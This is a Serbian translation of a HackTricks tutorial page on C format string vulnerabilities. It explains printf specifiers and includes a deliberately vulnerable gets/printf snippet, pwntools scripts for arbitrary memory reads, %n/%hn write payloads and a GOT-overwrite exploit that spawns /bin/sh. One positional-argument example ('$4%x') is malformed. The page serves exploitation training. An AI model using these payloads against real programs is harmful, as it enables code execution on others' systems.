hacktricks/binary-exploitation/format-strings
2024-04-07 04:42:46 +00:00
..
format-strings-template.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 04:42:46 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 04:42:46 +00:00

Formatiranje stringova

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Osnovne informacije

U programskom jeziku C printf je funkcija koja se može koristiti za ispisivanje određenog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti koje će zameniti formatere iz sirovog teksta.

Ranjivost se pojavljuje kada tekst napadača bude korišćen kao prvi argument ovoj funkciji. Napadač će moći da kreira specijalan unos zloupotrebom mogućnosti formatiranja stringova printf funkcije kako bi pročitao i upisao bilo koje podatke na bilo koju adresu (čitljivo/upisivo). Na taj način moći će da izvrši proizvoljan kod.

Formatteri:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Primeri:

  • Ranjiv primer:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Sa nedostajućim argumentima:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Pristupanje pokazivačima

Format %<n>$x, gde je n broj, omogućava da se printf-u pokaže da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, možete uraditi:

printf("%x %x %x %x")

i pročitao bi ste od prvog do četvrtog parametra.

Ili možete uraditi:

printf("$4%x")

i pročitajte direktno četvrti.

Primetite da napadač kontroliše parametar printf, što u osnovi znači da** njegov unos će biti na steku kada se pozove printf, što znači da bi mogao da upiše određene memorijske adrese na stek.

{% hint style="danger" %} Napadač koji kontroliše ovaj unos, moći će dodati proizvoljnu adresu na stek i naterati printf da im pristupi. U sledećem odeljku biće objašnjeno kako iskoristiti ovaj ponašanje. {% endhint %}

Proizvoljno čitanje

Moguće je koristiti format $n%s da bi printf dobio adresu smeštenu na n poziciji, sledeći je i odštampao kao da je to string (odštampati dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla 0x8048000, i znamo da korisnički unos počinje na 4. poziciji na steku, moguće je odštampati početak binarnog fajla sa:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti završen sa 0x00 na kraju te adrese. {% endhint %}

Proizvoljni Upis

Formatter $<num>%n upisuje broj napisanih bajtova na označenu adresu u parametru <num> na steku. Ako napadač može da upiše toliko karaktera koliko želi pomoću printf funkcije, moći će da natera $<num>%n da upiše proizvoljan broj na proizvoljnu adresu.

Srećom, da bi se upisao broj 9999, nije potrebno dodati 9999 "A" u unos, već je moguće koristiti formatter %.<num-write>%<num>$n da se upiše broj <num-write> na adresu na koju pokazuje pozicija num.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Međutim, imajte na umu da se obično koristi $hn umesto $n kako bi se napisala adresa poput 0x08049724 (što je OGROMAN broj za napisati odjednom). Ovo omogućava da se napišu samo 2 bajta. Stoga se ova operacija obavlja dva puta, jednom za najviših 2B adrese i još jednom za najniže.

Ova ranjivost omogućava da se napiše bilo šta na bilo kojoj adresi (proizvoljno pisanje).

U ovom primeru, cilj je da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike proizvoljnog pisanja za izvršenje:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Nameravamo prepisati funkciju koja prima svoje argumente od korisnika i usmeriti je na funkciju system.
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo se pišu 2 bajta adrese, a zatim druga 2. Za to se koristi $hn.

  • HOB se odnosi na 2 viša bajta adrese
  • LOB se odnosi na 2 niža bajta adrese

Zatim, zbog toga kako format string radi, morate prvo napisati manji od [HOB, LOB] a zatim drugi.

Ako je HOB < LOB
[adresa+2][adresa]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

Ako je HOB > LOB
[adresa+2][adresa]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools Šablon

Možete pronaći šablon za pripremu eksploata za ovu vrstu ranjivosti u:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Ili ovaj osnovni primer sa ovde:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings to BOF

Moguće je zloupotrebiti akcije pisanja ranjivosti formatiranja stringova da piše u adrese steka i iskoristi vrstu ranjivosti preplavljenje bafera.

Ostali Primeri & Reference